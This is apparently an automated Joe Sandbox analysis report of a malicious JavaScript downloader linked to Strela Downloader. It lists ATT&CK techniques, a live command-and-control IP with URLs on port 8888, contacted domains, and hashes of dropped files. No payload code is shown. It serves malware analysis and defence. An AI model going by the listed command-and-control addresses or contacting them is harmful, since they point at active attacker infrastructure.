Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24108325173196611859.js	5%	Virustotal		Browse
24108325173196611859.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/space4	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/P	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2680671588.0000019804AA2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/space4	net.exe, 00000007.00000002.1477005131.000002CAC2AE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000007.00000002.1477005131.000002CAC2B1C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1477005131.000002CAC2AE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1493189729.0000019804870000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588093
Start date and time:	2025-01-10 21:18:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24108325173196611859.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 88.221.110.91, 2.16.100.168, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:19:29	API Interceptor	32x Sleep call for process: powershell.exe modified
15:19:35	API Interceptor	1x Sleep call for process: net.exe modified
15:19:36	API Interceptor	2x Sleep call for process: svchost.exe modified
15:19:44	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.493204873942859
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Zta8:cJhXC9lHmutpJyiRDeJ/aUKrDgnmu
MD5:	F82AE0915DEEC840BDEA690721651F99
SHA1:	4C1B410513398BD64CEDC6FB15DEEB25188580A9
SHA-256:	FCF26BC481817F24E259CA3EE6046D02B982FA81406F016CB5DA2EE73BD43D26
SHA-512:	99175D6FB55A15E49DA2D49A86FA0A88B2C4FA03C16C4A668D26888E65D0B20F18828DDB8C47D9C929DC1DBA2B418393BF41D299D503B6FF028003DBA6B38C4B
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf11053fe, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216545486902188
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:TazaNvFv8V2UW/DLzN/w4wZi
MD5:	80E0CC8718026ED722EBC5891F2289F2
SHA1:	A3361507771E38F09D5396A96F6D2A6D31B6E75C
SHA-256:	7AC5C6EE66AFDA67CC7C225F07C737002E49D7C5C25B26B83F57F6A0B49E7817
SHA-512:	E05D33F86B1B924BD1D6C817CCE3FECF09E5D6A18694234F4562EA5CB074B858CDC928C80A10940B7ABBB86DD45D0E0E142BF30A393301417D7056338178A883
Malicious:	false
Preview:	..S.... ...............X\...;...{......................p.D..........{}.%....}7.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................7k.i%....}..................k..{%....}u..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07990989895356371
Encrypted:	false
SSDEEP:	3:EYe3GQlyvT/fgsCrZClW/tNe9elwll+SHY/Xl+/rQLve:Ez3GQiLfgs3G7ue2AS4M
MD5:	5E29ED3F18011382BD5EE72C97349677
SHA1:	CD3A247B9DE3AC2052E9034486B1D4DDC24FC6B1
SHA-256:	A75DC9D21FA8BB1339450FEB60263E035908F795C300369BF74159B6777C5F19
SHA-512:	6836DE61EEA44B1D755B15D54E1B698D28ED9F511667FC703B375F421D679F238B8D734A21DC0D3E5FB75C2B181464A76485E20D9FCDF1EDE7EED4CA66E8F159
Malicious:	false
Preview:	.d.1.....................................;...{..%....}u......{}..............{}......{}.vv_Q.....{}.................k..{%....}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.254064538144803
Encrypted:	false
SSDEEP:	6:iO4/gyq2PqLTwi2nKuAl9OmbnIFUtS/y1Zmws/FhRkwOqLTwi2nKuAl9OmbjLJ:7ogyv8wZHAahFUtGE/cXR5TwZHAaSJ
MD5:	14E9A485C598644031479B8D6949E55E
SHA1:	3FC342155010EA2F8C3C8D1B38C22A97366B21DD
SHA-256:	7CD62D6F10C54541679279E87A18CF892800208CC12D1BE29453B9B7554F8ADC
SHA-512:	D092F1B906B51AD905A65832E571CC57584F76E1EBF32BECCDACE860F078A472E761D5BE91B754B08C1DD5E764BF56C653CCC2B6EBF34486B5E14C9600636BF4
Malicious:	false
Preview:	2025/01/10-15:19:36.870 1de4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:19:36.874 1de4 Recovering log #3.2025/01/10-15:19:36.875 1de4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.254064538144803
Encrypted:	false
SSDEEP:	6:iO4/gyq2PqLTwi2nKuAl9OmbnIFUtS/y1Zmws/FhRkwOqLTwi2nKuAl9OmbjLJ:7ogyv8wZHAahFUtGE/cXR5TwZHAaSJ
MD5:	14E9A485C598644031479B8D6949E55E
SHA1:	3FC342155010EA2F8C3C8D1B38C22A97366B21DD
SHA-256:	7CD62D6F10C54541679279E87A18CF892800208CC12D1BE29453B9B7554F8ADC
SHA-512:	D092F1B906B51AD905A65832E571CC57584F76E1EBF32BECCDACE860F078A472E761D5BE91B754B08C1DD5E764BF56C653CCC2B6EBF34486B5E14C9600636BF4
Malicious:	false
Preview:	2025/01/10-15:19:36.870 1de4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:19:36.874 1de4 Recovering log #3.2025/01/10-15:19:36.875 1de4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1529540139689605
Encrypted:	false
SSDEEP:	6:iO4/NFJq2PqLTwi2nKuAl9Ombzo2jMGIFUtS/kBlZmws/kTFUrzkwOqLTwi2nKuA:7oXJv8wZHAa8uFUtGQ/caFUrz5TwZHAv
MD5:	5C82D037A0F02E9C1515FACA40E02337
SHA1:	5D6FF1FC8C4442722B0D4EB5A8871C89BA140F10
SHA-256:	DAE33DBDCDD1A3B99D2F81D5CD31BEC00B3586C03D8ECFC76B312346A82F9CAF
SHA-512:	4D149A5A61C97B693B104154A92825AD8A80A6CC3EDD56AB081838A7DBFF589D75AB48BAC1C434CDDA569E64CFDF7CDA333F0D9E33180BAA8D111EA7CE304E87
Malicious:	false
Preview:	2025/01/10-15:19:36.897 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:19:36.905 1ec0 Recovering log #3.2025/01/10-15:19:36.906 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1529540139689605
Encrypted:	false
SSDEEP:	6:iO4/NFJq2PqLTwi2nKuAl9Ombzo2jMGIFUtS/kBlZmws/kTFUrzkwOqLTwi2nKuA:7oXJv8wZHAa8uFUtGQ/caFUrz5TwZHAv
MD5:	5C82D037A0F02E9C1515FACA40E02337
SHA1:	5D6FF1FC8C4442722B0D4EB5A8871C89BA140F10
SHA-256:	DAE33DBDCDD1A3B99D2F81D5CD31BEC00B3586C03D8ECFC76B312346A82F9CAF
SHA-512:	4D149A5A61C97B693B104154A92825AD8A80A6CC3EDD56AB081838A7DBFF589D75AB48BAC1C434CDDA569E64CFDF7CDA333F0D9E33180BAA8D111EA7CE304E87
Malicious:	false
Preview:	2025/01/10-15:19:36.897 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:19:36.905 1ec0 Recovering log #3.2025/01/10-15:19:36.906 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\88ba283c-7cc7-4d43-b652-c1525dfb1cf9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962718463172039
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqP9AXhsBdOg2HMcaq3QYiub5P7E4T3y:Y2sRdsCAXydMHv3QYhbt7nby
MD5:	690B8DDCB398CC77C6ED761D7DFA5811
SHA1:	12CBC6D3F2FEEBE772F784B71D8521A84CCB2FC6
SHA-256:	F28708593C11EEFF80D7408C80AEC9F1A8A627387AC03D97C1A647CD62786F60
SHA-512:	703AEB549EE6CC332884CA4B1FFFCE3179300C058C87C3D424D1C39E958771351A1DD936B10B2E826225435F5DB01EA88B4624B6DF6FBAD75F97A75ADED5CA89
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100387342136","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140137},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.962718463172039
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqP9AXhsBdOg2HMcaq3QYiub5P7E4T3y:Y2sRdsCAXydMHv3QYhbt7nby
MD5:	690B8DDCB398CC77C6ED761D7DFA5811
SHA1:	12CBC6D3F2FEEBE772F784B71D8521A84CCB2FC6
SHA-256:	F28708593C11EEFF80D7408C80AEC9F1A8A627387AC03D97C1A647CD62786F60
SHA-512:	703AEB549EE6CC332884CA4B1FFFCE3179300C058C87C3D424D1C39E958771351A1DD936B10B2E826225435F5DB01EA88B4624B6DF6FBAD75F97A75ADED5CA89
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100387342136","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140137},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.224107623950605
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzqEhbnM:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozq1
MD5:	CF179772E8762ABA36A25F89BF0027B8
SHA1:	850A91B2C8373626473E70DF8B13087F23E1C798
SHA-256:	277AB7D839047A2A3273BB4EC117F89F60EF65895670BDB0B5B2D3767CFF8321
SHA-512:	F7A5F5024DA99DD57F45CB37157A5F54D67C94323F36876145D1129A262BEF4C4E3D299671C36CD3E1AB62D7CB37DDE7897A2E54AD4D11BC7117A12D2FD72A1E
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1247006797882895
Encrypted:	false
SSDEEP:	6:iO4rFIq2PqLTwi2nKuAl9OmbzNMxIFUtSKBiZmwsKHFkwOqLTwi2nKuAl9OmbzNq:70Ov8wZHAa8jFUtHs/Vl5TwZHAa84J
MD5:	D9630101E1B317A34E64E7BB810F98FF
SHA1:	83CB814E7AA8578CB934B92C05C49B0504756E8C
SHA-256:	78757AD18CE8FE5BCAE6429F77985EA2A9B3F6D52A617AD0BC707A22D131C1E9
SHA-512:	EE207FA613519A128DEF11564BCE5EE092680FF40EB16F4184BD3FA0EDBF53CA214EE3FC263349233911DD10123671AE76919207262FA8D64427027EB1519A90
Malicious:	false
Preview:	2025/01/10-15:19:37.329 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:19:37.330 1ec0 Recovering log #3.2025/01/10-15:19:37.331 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1247006797882895
Encrypted:	false
SSDEEP:	6:iO4rFIq2PqLTwi2nKuAl9OmbzNMxIFUtSKBiZmwsKHFkwOqLTwi2nKuAl9OmbzNq:70Ov8wZHAa8jFUtHs/Vl5TwZHAa84J
MD5:	D9630101E1B317A34E64E7BB810F98FF
SHA1:	83CB814E7AA8578CB934B92C05C49B0504756E8C
SHA-256:	78757AD18CE8FE5BCAE6429F77985EA2A9B3F6D52A617AD0BC707A22D131C1E9
SHA-512:	EE207FA613519A128DEF11564BCE5EE092680FF40EB16F4184BD3FA0EDBF53CA214EE3FC263349233911DD10123671AE76919207262FA8D64427027EB1519A90
Malicious:	false
Preview:	2025/01/10-15:19:37.329 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:19:37.330 1ec0 Recovering log #3.2025/01/10-15:19:37.331 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438361606382125
Encrypted:	false
SSDEEP:	384:ye+ci5GdiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pxurVgazUpUTTGt
MD5:	A909F7CDC336C3E3D09B239594CFC16D
SHA1:	15388DC4D765FA56B40DADA495EAE2E950E72130
SHA-256:	D4E7879B5B1A815495D1BB5672DFBAD02E3AE8CD86CA14E4F6B2D979F90FA874
SHA-512:	2FBFA573A745F7331F63052E3C5B505FC620606777A0F2FA7F98E0B194CBB3BA9A781158CC2260EE295E64E1F50A76025ECD10F18CB31FC7A9D0A1AF41E6BDD3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7700215622000237
Encrypted:	false
SSDEEP:	48:7MSJioyVrioyToy1C7oy16oy1ZKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OX:7pJurpwXjBigb9IVXEBodRBkB
MD5:	B4927A0EE5E6764402249B23E1804D57
SHA1:	930AA45CC233A4A2792895BA8EF2712A4DC1CF0B
SHA-256:	F16ABEE2E572038F3F6F8E649BDF161B33906D38BE14541F7053522C426558E3
SHA-512:	332D50BD50C13F1FC2A156F8FF7E25264D35B622A35CB4B0CCEAE76AE00CED1729CA81F4FF5DC3F18E2BD4FCD37945F2E21A347FD901384B46B557D0191D2949
Malicious:	false
Preview:	.... .c........<...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
